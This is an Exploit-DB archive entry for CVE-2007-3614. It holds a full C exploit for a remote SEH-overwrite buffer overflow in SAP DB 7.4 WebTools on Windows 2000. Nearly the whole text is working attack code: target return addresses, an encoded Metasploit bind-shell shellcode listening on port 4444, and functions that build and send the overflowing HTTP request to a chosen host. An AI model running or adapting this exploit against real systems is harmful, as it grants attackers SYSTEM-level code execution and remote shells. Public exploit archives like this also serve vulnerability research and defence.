标题: SAP DB 7.x Web Server - 'WAHTTP.exe' Multiple Buffer Overflow Vulnerabilities EDB-ID: 30278 CVE: 2007-3614 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-05 漏洞利用脚本: // source: https://www.securityfocus.com/bid/24773/info

SAP DB Web Server is prone to multiple buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer.

Successfully exploiting these issues will allow an attacker to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition.

/* Dreatica-FXP crew
* 
* ----------------------------------------
* Target         : SAP DB 7.4 WebTools 
* Site           : http://www.sapdb.org
* Found by       : NGSSoftware Insight Security Research 
* ----------------------------------------
* Exploit        : SAP DB 7.4 WebTools Remote SEH overwrite exploit
* Exploit date   : 07.07.2007
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS             : Windows 2000 ALL SP 
* Crew           : Dreatica-FXP
* ----------------------------------------
* Info           :   This is the SEH overwrite realization of the vulnerability found by 
*                  NGSSoftware Insight Security Research, it is trivial. We send a big amount
*                  of bytes to server (about 20000) and overwrite SEH. Aproximatly at the 9900
*                  byte we trigger an exception and our shellcode is executed.
* ----------------------------------------
* Compiling      :
*  To compile this exploit you need:
*    1. Windows C/C++ compiler   
*    2. WinSock 2
* ----------------------------------------
* Thanks to      :
*       1. NGSSoftware Insight Security Research ( http://www.ngssoftware.com/ )
*       2. The Metasploit project                ( http://metasploit.com       ) 
*       3. Dreatica-FXP crew                     ( http://www.dreatica.cl      )
* ----------------------------------------
* This exploit was written for educational purpose only. Use it at your own risk. Author will be not be 
* responsible for any damage, caused by that code.
************************************************************************************
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh);
void make_buffer(unsigned char * buf, int itarget, int sh);
int send_buffer(unsigned char * buf, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);
int alphanumeric_encoder_thx_to_skylined(char *to_encode, char *encoded );

static long timeout = 2000 ; // 2 sec


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg;  // global argument pointer
int  optind = 0, opterr;  // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------



struct _target{
 const char *t ;
 unsigned long ret ;
} targets[]=
 {
  {"UNIVERSAL: SAP DB 7.4.3 [WAPI.dll]",          0x1003a218 },// call ebx
  {"Windows 2000 Pro SP4 RUSSIAN [kernel32.dll]", 0x793a4a66 },// jmp ebx
  {"Windows 2000 Pro SP4 ENGLISH [kernel32.dll]", 0x7c4e4a66 },// jmp ebx
  {"Debug / DoS",                                 0x42424242 },
  {NULL,                                          0x00000000 }
 };


struct {
 const char * name;
 int length;
 char * shellcode; 
}shellcodes[]={  
  {"Bindshell, port 4444   [ args: none ]", 696, 
   /* win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x37\x49\x49\x49"
  "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42"
  "\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x42\x32\x42\x41\x32"
  "\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x6a\x49\x4b\x4c\x62"
  "\x4a\x68\x6b\x30\x4d\x59\x78\x49\x69\x4b\x4f\x79\x6f\x69\x6f\x71"
  "\x70\x4e\x6b\x32\x4c\x51\x34\x64\x64\x6e\x6b\x41\x55\x77\x4c\x4c"
  "\x4b\x71\x6c\x35\x55\x64\x38\x54\x41\x58\x6f\x4c\x4b\x30\x4f\x47"
  "\x68\x4e\x6b\x53\x6f\x47\x50\x74\x41\x58\x6b\x70\x49\x4c\x4b\x35"
  "\x64\x6c\x4b\x36\x61\x68\x6e\x57\x41\x79\x50\x6f\x69\x4c\x6c\x6c"
  "\x44\x4b\x70\x63\x44\x43\x37\x5a\x61\x78\x4a\x44\x4d\x36\x61\x6a"
  "\x62\x38\x6b\x78\x74\x77\x4b\x51\x44\x74\x64\x76\x48\x51\x65\x4a"
  "\x45\x4e\x6b\x73\x6f\x61\x34\x55\x51\x5a\x4b\x71\x76\x6c\x4b\x64"
  "\x4c\x72\x6b\x4e\x6b\x63\x6f\x57\x6c\x75\x51\x7a\x4b\x33\x33\x34"
  "\x6c\x6c\x4b\x6e\x69\x72\x4c\x45\x74\x45\x4c\x30\x61\x4f\x33\x50"
  "\x31\x69\x4b\x61\x74\x6c\x4b\x57\x33\x66\x50\x4e\x6b\x43\x70\x64"
  "\x4c\x6e\x6b\x32\x50\x65\x4c\x6e\x4d\x6e\x6b\x77\x30\x67\x78\x31"
  "\x4e\x33\x58\x6c\x4e\x30\x4e\x34\x4e\x5a\x4c\x50\x50\x4b\x4f\x69"
  "\x46\x72\x46\x62\x73\x70\x66\x35\x38\x57\x43\x35\x62\x45\x38\x30"
  "\x77\x63\x43\x44\x72\x71\x4f\x71\x44\x79\x6f\x4a\x70\x73\x58\x78"
  "\x4b\x48\x6d\x4b\x4c\x77\x4b\x56\x30\x79\x6f\x7a\x76\x51\x4f\x6f"
  "\x79\x79\x75\x32\x46\x4b\x31\x48\x6d\x43\x38\x45\x52\x70\x55\x73"
  "\x5a\x33\x32\x6b\x4f\x4a\x70\x72\x48\x69\x49\x36\x69\x4c\x35\x6e"
  "\x4d\x50\x57\x4b\x4f\x6a\x76\x36\x33\x36\x33\x61\x43\x33\x63\x62"
  "\x73\x43\x73\x36\x33\x50\x43\x63\x63\x4b\x4f\x68\x50\x43\x56\x71"
  "\x78\x62\x31\x51\x4c\x30\x66\x30\x53\x6b\x39\x78\x61\x4c\x55\x65"
  "\x38\x4e\x44\x67\x6a\x74\x30\x6f\x37\x70\x57\x69\x6f\x6e\x36\x32"
  "\x4a\x36\x70\x43\x61\x32\x75\x79\x6f\x4e\x30\x50\x68\x4f\x54\x6e"
  "\x4d\x64\x6e\x6d\x39\x52\x77\x79\x6f\x58\x56\x66\x33\x36\x35\x69"
  "\x6f\x4e\x30\x45\x38\x38\x65\x72\x69\x6b\x36\x77\x39\x33\x67\x79"
  "\x6f\x6e\x36\x70\x50\x31\x44\x62\x74\x73\x65\x6b\x4f\x58\x50\x6d"
  "\x43\x50\x68\x4b\x57\x44\x39\x4f\x36\x64\x39\x71\x47\x6b\x4f\x49"
  "\x46\x63\x65\x6b\x4f\x4a\x70\x71\x76\x50\x6a\x50\x64\x50\x66\x70"
  "\x68\x50\x63\x52\x4d\x6e\x69\x58\x65\x32\x4a\x46\x30\x63\x69\x45"
  "\x79\x48\x4c\x4c\x49\x7a\x47\x63\x5a\x70\x44\x4d\x59\x78\x62\x36"
  "\x51\x39\x50\x38\x73\x4f\x5a\x6b\x4e\x41\x52\x64\x6d\x6b\x4e\x32"
  "\x62\x36\x4c\x4e\x73\x4c\x4d\x43\x4a\x34\x78\x4c\x6b\x6e\x4b\x6e"
  "\x4b\x51\x78\x70\x72\x6b\x4e\x4e\x53\x47\x66\x4b\x4f\x32\x55\x50"
  "\x44\x4b\x4f\x7a\x76\x43\x6b\x70\x57\x62\x72\x46\x31\x66\x31\x32"
  "\x71\x30\x6a\x35\x51\x33\x61\x32\x71\x33\x65\x53\x61\x4b\x4f\x5a"
  "\x70\x30\x68\x6e\x4d\x6e\x39\x73\x35\x7a\x6e\x62\x73\x4b\x4f\x48"
  "\x56\x63\x5a\x6b\x4f\x59\x6f\x57\x47\x39\x6f\x6e\x30\x4e\x6b\x30"
  "\x57\x59\x6c\x4b\x33\x38\x44\x45\x34\x59\x6f\x39\x46\x50\x52\x39"
  "\x6f\x58\x50\x65\x38\x38\x70\x6e\x6a\x37\x74\x53\x6f\x31\x43\x6b"
  "\x4f\x6a\x76\x6b\x4f\x78\x50\x42"  
  },  
 {NULL , NULL }
};



int main(int argc, char **argv)
{
 char * remotehost=NULL;
 char default_remotehost[]="127.0.0.1";
 char temp1[100], temp2[100];
 int port, itarget, sh;
 SOCKET s;
 char c; 
 int option_index=0;
 logo();
 WSADATA wsa;
 WSAStartup(MAKEWORD(2,0), &wsa);
 if(argc<2)
 {
  usage(argv[0]);  
  return -1;
 }

 // set defaults
 port=9999;
 itarget=-1;
 sh=0;
 // ------------ 
 
 while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
 {
  switch (c)
  {
   case 'h':
    remotehost=optarg;
    break;  
   case 't':
    sscanf(optarg, "%d", &itarget);
    itarget--;
    break;
   case 'p':
    sscanf(optarg, "%d", &port);
    break;   
   default:
             usage(argv[0]);
    WSACleanup();
   return -1;
  }  
 } 
 if(remotehost == NULL) remotehost=default_remotehost;
 memset(temp1,0,sizeof(temp1));
 memset(temp2,0,sizeof(temp2));
 memset(temp1, '\x20' , 58 - strlen(remotehost) -1); 
 printf(" #  Host    : %s%s# \n", remotehost, temp1); 
 sprintf(temp2, "%d", port);
 memset(temp1,0,sizeof(temp1));
 memset(temp1, '\x20' , 58 - strlen(temp2) -1);
 printf(" #  Port    : %s%s# \n", temp2, temp1);
 memset(temp1,0,sizeof(temp1)); 
 memset(temp2,0,sizeof(temp2));
 sprintf(temp2, "%s", shellcodes[sh].name );
 memset(temp1, '\x20' , 58 - strlen(temp2) -1); 
 printf(" #  Payload : %s%s# \n", temp2, temp1); 
 if(itarget!=-1)
 {
  memset(temp1,0,sizeof(temp1)); 
  memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1); 
  printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);  
 }else
 {
  memset(temp1,0,sizeof(temp1)); 
  memset(temp1, '\x20' , 58 - strlen("Please select target") -1); 
  printf(" #  Target  : %s%s# \n", "Please select target", temp1);
 }
 printf(" # ------------------------------------------------------------------- # \n");
 fflush(stdout);
 printf("   [+] Checking if server is online\n");
 fflush(stdout);
 s=do_connect(remotehost, port);   
 if(s==-1)
 {
  printf("   [-] Server is OFFLINE\n");
  end_logo();
  return 0;
 }
 closesocket(s);
 printf("   [+] Server is ONLINE\n");

 
 unsigned char buf[30000];
 memset(buf,0,sizeof(buf));
 fflush(stdout);
 
 make_buffer(buf, itarget, sh);
 printf("   [+] Attacking buffer constructed\n");
 if(send_buffer(buf, remotehost,port)==-1)
 {
  printf("   [-] Cannot exploit server %s\n", remotehost);
  end_logo();
  WSACleanup();
  return -1;
 }

 printf("   [+] Buffer sent\n");
 printf("   [+] Connect to %s:%d\n", remotehost, 4444);
 end_logo();
 WSACleanup();
 return 0;
}



SOCKET do_connect (char *remotehost, int port)
{
   static struct hostent *host;
   static struct sockaddr_in addr;
   SOCKET s; 
       host = gethostbyname(remotehost);
       if (!host)
       {
           perror("[-] gethostbyname() failed");
           return -1;
       }
       addr.sin_addr = *(struct in_addr*)host->h_addr;

   s = socket(PF_INET, SOCK_STREAM, 0);
   if (s == -1)
   {
       closesocket(s);
       perror("socket() failed");
       return -1;
   }

   addr.sin_port = htons(port);
   addr.sin_family = AF_INET;

 if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
   {
       closesocket(s);     
       return -1;
   } 

   return s;
}


void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
{
 memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
 *fshlength = shellcodes[sh].length; 
}

void make_buffer(unsigned char * buf, int itarget, int sh)
{
 // prepare shellcode
 unsigned char fsh[10000]; 
 unsigned int fshlength;
 memset(fsh, 0, sizeof(fsh)); 
 prepare_shellcode(fsh, &fshlength, sh);
 // -----------------

 // make buffer
 unsigned char * cp=buf;  
  
  // HTTP request
 memcpy(cp, "GET /webdbm?Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=", strlen("GET /webdbm?Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE="));
 cp +=strlen((char *)cp);

  // long request
 memset(cp, 'A', 20774);
 cp +=strlen((char *)cp);

  // jmp over 6 bytes
 *cp++ = '\x90';
 *cp++ = '\x90';
 *cp++ = '\xEB';
 *cp++ = '\x06';
 

  // SEH handler
 *cp++ = (char)((targets[itarget].ret      ) & 0xff);
 *cp++ = (char)((targets[itarget].ret >>  8) & 0xff);
 *cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
 *cp++ = (char)((targets[itarget].ret >> 24) & 0xff);

  // jff
 *cp++ = '\x90';
 *cp++ = '\x90';
 *cp++ = '\x90';
 *cp++ = '\x90';
 
  // copy shellcode
 memcpy(cp, fsh, fshlength);
 cp+=fshlength;

  // end of HTTP request
 memcpy(cp, " HTTP/1.0\r\n\r\n", strlen(" HTTP/1.0\r\n\r\n"));
 cp +=strlen((char *)cp);
 // -----------------
}



int send_buffer(unsigned char * buf, char * remotehost, int port)
{ 
 SOCKET sock;
 int bytes;

 sock = do_connect(remotehost, port);
 if(sock==-1) printf("   [-] Failed to connect to server\n");  
 bytes = send(sock, (char *)buf, (int)strlen((char *)buf), 0);
 if (bytes<0) printf("   [-] Failed to send the buffer\n"); else printf("   [+] Sent %d bytes\n", bytes); 
 closesocket(sock);
 return 1;
}


// -----------------------------------------------------------------
// XGetopt.cpp  Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
 static char *next = NULL;
 if (optind == 0)
  next = NULL;

 optarg = NULL;

 if (next == NULL || *next == '\0')
 {
  if (optind == 0)
   optind++;

  if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
  {
   optarg = NULL;
   if (optind < argc)
    optarg = argv[optind];
   return EOF;
  }

  if (strcmp(argv[optind], "--") == 0)
  {
   optind++;
   optarg = NULL;
   if (optind < argc)
    optarg = argv[optind];
   return EOF;
  }

  next = argv[optind];
  next++;  // skip past -
  optind++;
 }

 char c = *next++;
 char *cp = strchr(optstring, c);

 if (cp == NULL || c == ':')
  return '?';

 cp++;
 if (*cp == ':')
 {
  if (*next != '\0')
  {
   optarg = next;
   next = NULL;
  }
  else if (optind < argc)
  {
   optarg = argv[optind];
   optind++;
  }
  else
  {
   return '?';
  }
 }

 return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------


void usage(char * s)
{ 
 printf("   Usage : %s -h <host> -p <port> -t <target>\n", s);
 printf("   Arguments:\n");
 printf("      -h <host>     host to connect\n");
 printf("      -p <port>     port (default: 9999)\n");
 printf("      -t <target>   target to attack\n");
 printf("    Shellcodes:\n");
 for(int i=0; shellcodes[i].name!=0;i++)
 {
  printf("       %d. %s\n",i+1,shellcodes[i].name);    
 } 
 printf("\n");
 printf("    Targets:\n");
 for(int j=0; targets[j].t!=0;j++)
 {
  printf("       %d. %s\n",j+1,targets[j].t);
 }  
 printf("\n");
 end_logo(); 
}

void logo()
{
 printf("\n\n");
 printf(" ####################################################################### \n"); 
 printf(" #     ____                 __  _                  ______  __    _____ #\n");
 printf(" #    / __ \\________  _____/ /_(_)_________       / __/\\ \\/ /   / _  / #\n");
 printf(" #   / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___  / /    \\  /   / // /  #\n");
 printf(" #  / /_/ / / /  ___/ /_// /_/ / /__/ /_// /__/ / _/    /  \\  / ___/   #\n");
 printf(" # /_____/_/  \\___/ \\_,_/\\__/_/\\___/\\__,_/     /_/     /_/\\_\\/_/       #\n");
 printf(" #                                 crew                                #\n");
 printf(" ####################################################################### \n"); 
 printf(" #  Exploit : SAP DB 7.4 WebTools Remote SEH overwrite exploit         # \n");
 printf(" #  Author  : Heretic2 (heretic2x@gmail.com                            # \n");
 printf(" #  Research: NGSSoftware Insight Security Research                    # \n");
 printf(" #  Version : 1.0 Public Release                                       # \n");
 printf(" #  System  : Windows 2000 ALL SP                                      # \n");
 printf(" #  Date    : 07.07.2007                                               # \n");
 printf(" # ------------------------------------------------------------------- # \n");
}

void end_logo()
{
 printf(" # ------------------------------------------------------------------- # \n");
 printf(" #                    Dreatica-FXP crew [Heretic2]                     # \n"); 
 printf(" ####################################################################### \n\n");
}

// milw0rm.com [2007-07-07] URL: https://www.exploit-db.com/exploits/30278